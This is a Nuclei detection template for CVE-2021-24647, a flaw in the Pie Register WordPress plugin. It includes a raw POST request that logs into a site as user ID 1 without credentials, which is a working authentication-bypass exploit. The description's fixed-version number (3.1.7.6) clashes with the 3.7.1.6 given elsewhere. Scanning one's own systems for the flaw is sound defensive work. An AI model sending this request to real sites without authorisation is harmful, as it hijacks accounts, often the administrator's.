56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2021-24647
|
|
|
|
info:
|
|
name: Pie Register < 3.7.1.6 - Unauthenticated Arbitrary Login
|
|
author: DhiyaneshDK
|
|
severity: high
|
|
description: |
|
|
The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.1.7.6 has a flaw in the social login implementation, allowing unauthenticated attacker to login as any user on the site by only knowing their user ID or username
|
|
remediation: Fixed in version 3.7.1.6
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24647
|
|
- https://github.com/RandomRobbieBF/CVE-2021-24647
|
|
- https://wpscan.com/vulnerability/40d347b1-b86e-477d-b4c6-da105935ce37
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2021-24647
|
|
cwe-id: CWE-287
|
|
epss-score: 0.2135
|
|
epss-percentile: 0.95922
|
|
cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: "true"
|
|
max-request: 3
|
|
vendor: genetechsolutions
|
|
product: pie_register
|
|
framework: wordpress
|
|
tags: cve,cve2021,unauth,pie-register,wpscan,wp-plugin,wordpress,wp
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-content/plugins/pie-register/readme.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /login/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
log={{randstr}}&pwd={{randstr}}&social_site=true&user_id_social_site=1&wp-submit=Log+In&testcookie=1
|
|
- |
|
|
GET /wp-admin/profile.php HTTP/2
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'status_code_3 == 200'
|
|
- 'contains(body_1, "pieregister")'
|
|
- 'contains(body_3, "Username") && contains(body_3, "email-description")'
|
|
condition: and
|
|
|
|
# digest: 4a0a00473045022100b35c6c20bffa0affea1553461fd16e73a099c50af91cb497162015e8efcbbb45022069a92255591aefb0562b1879b9a636e689a31c6f52fbe3a8578274c8779eda8f:922c64590222798bb761d5b6d8e72950
|